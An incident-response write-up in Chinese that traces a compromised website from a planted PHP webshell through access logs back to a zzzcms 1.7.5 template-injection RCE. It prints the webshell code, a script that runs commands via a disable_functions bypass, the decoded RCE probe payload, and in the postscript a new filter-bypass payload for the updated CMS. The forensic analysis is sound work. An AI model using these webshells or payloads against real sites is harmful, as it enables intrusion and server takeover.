記一次從后門開展的應急響應溯源
0x01 背景
一般安全廠商都會有針對web后門的掃描工具,此次拿到了一批網站被植入后門的攻擊線索,由于疫情原因,現場排查取證條件比較苛刻,所以此次溯源是在開局一個后門情況下開展,大致思路是連接后門->查看日志->漏洞溯源。
0x02 后門排查
存在后門的URL :
http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php

<?php
function fun2(){
$b=$_POST;
return @($b[a]);
}
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
?>hello
進去之后想要通過antasword執行命令,發現ret=127,于是查看phpinfo,發現存在disable_functions
diable_functions : exec,passthru,popen,proc_open,shell_exec,system,assert
禁用了這些命令執行的先關函數,繞過應該還是好繞的,不過在同目錄下已經發現了前人留下的bypass_disablefunc_x.so,省去了繞過時間,直接復用即可

到這兒基本已經相當于可以遠程執行命令,達到現場排查、取證溯源的目的。

通過cat access.log來獲取訪問日志,這里通過撰寫腳本只獲取了2020年4月1日至2020年12月31日的日志,方便我們進行精準溯源。
#coding:utf-8
import requests
for month in range(4,13):
for days in range(1,31):
date = '%02d' % month + '%02d' % days
url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'
res = requests.get(url=url)
fp = open(date+'.txt','w')
fp.write(res.content)
fp.close()
0x03 攻擊者溯源
根據上圖可以看到wwConapp.php的日期為2020-11-06 09:34:19,那么比較簡單粗暴的方法就是直接在20201106的訪問日志里查看誰訪問了這個url,初步斷定攻擊者

比較詭異的是這個wwConapp.php沒有人訪問過,在具體翻看1106文件時發現了端倪
115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 - 115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180 115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161
這里時間點對上了,大約在9點34分,有相同目錄下的文件訪問,但是該文件為Conapp.php,猜測是后來的入侵者將Conapp.php改為了wwConapp.php,這里不再深究。
至此已經獲取到了第一個攻擊者的ip,115.238.195.188,那么順著這個人的訪問日志,就能解開攻擊入口,事實并不如此。
#cat 1106.txt| grep 115.238.195.188 | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
115.238.195.188 - - [06/Nov/2020:09:23:04 +0800] "POST /search/2.php HTTP/1.1" 200 809
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "GET /xiseceshi.html HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "GET /xiseceshi.htm HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
在查看該ip的訪問記錄時,其中并沒有發現任何異常的攻擊日志,從一開始訪問就是/search/2.php開頭,那么再到search目錄下去翻閱,也發現已經沒有了2.php,但是有1.php,落地時間為2020-11-26 12:53分
<?php @$content = @stripslashes(/**/@$_POST[1]);@eval('' ./**/ $content);
到這里其實就會發現,此刻碰到的后門,因為年限已久,可能在中途已經經過了幾代的shell轉手,導致日志十分復雜,既然有太多的攻擊者和篡改文件行為,我們還是把目標聚焦在最初的/search/2.php文件,看看最初是如何落地的
#cat *| grep '/search/2.php'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "POST /search/2.php HTTP/1.1" 200 7
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 129
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 37
可以看到在2020年8月28號,就已有2.php文件落地,那么至此其實就可以告一段落,只需要對180.126.246.121這個ip的訪問行為進行溯源即可
#cat *| grep '180.126.246.121'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD / HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "GET /?author=1 HTTP/1.1" 200 16234
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.roulcf.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.yizogi.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/ HTTP/1.1" 200 10390
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
這里可以看到明顯的異常流量,那么經過urldecode解密,其中一段攻擊向量跟模板注入十分相似
/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}
如果熟悉先前的海洋cms 前臺rce漏洞,大概就能了解這個漏洞是因為模板變量被代入解析,最終進入了eval語句
echo base_convert(31298929054286,10,32); echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36); echo 'yizogi'; echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36); //setcookie"yizogi"
這段代碼應該還是探測性的語句,如果存在模板注入漏洞,那么在返回的cookie里會有yizogi等字樣,為后續的漏洞利用埋下伏筆。
通過百度,最終找到了這是zzzcms 1.7.5 的前臺rce漏洞,具體漏洞測試細節可以再《waf繞過拍了拍你》這篇文章里看到。
到這里基本可以完結,180.126.246.121就是最先的入侵者,于2020年8月28日獲得shell后即將shell賣給其他人,為下游犯罪提供幫助。

0x04 后記
后來在測試該網站時發現zzzcms版本已更新到2022版本,原先的漏洞也已不復存在,甚至過濾了大部分命令執行的關鍵詞,在測試過程中發現有一個回調函數還是可以繞過,甚至依托字符串截取的特性,可以繞過大部分對字符串進行過濾的情景。
array_intersect_uassoc(array_intersect_uassoc(array('var_dump(123);'=>''),array(''),'ass'.'ert'));
后門線索比較多,后續有考慮寫一個基于圖譜的響應溯源追蹤系統,大致理念就是將所有日志打進圖數據庫里,通過圖查詢語句和檢測規則(正則/ai)來搜尋訪問后門的所有可疑ip和攻擊行為,最終像人工一樣思考,形成攻擊路徑圖,方便人工進行判斷。
上述如有不當之處,敬請指正。
文章來源:先知社區(羊羊)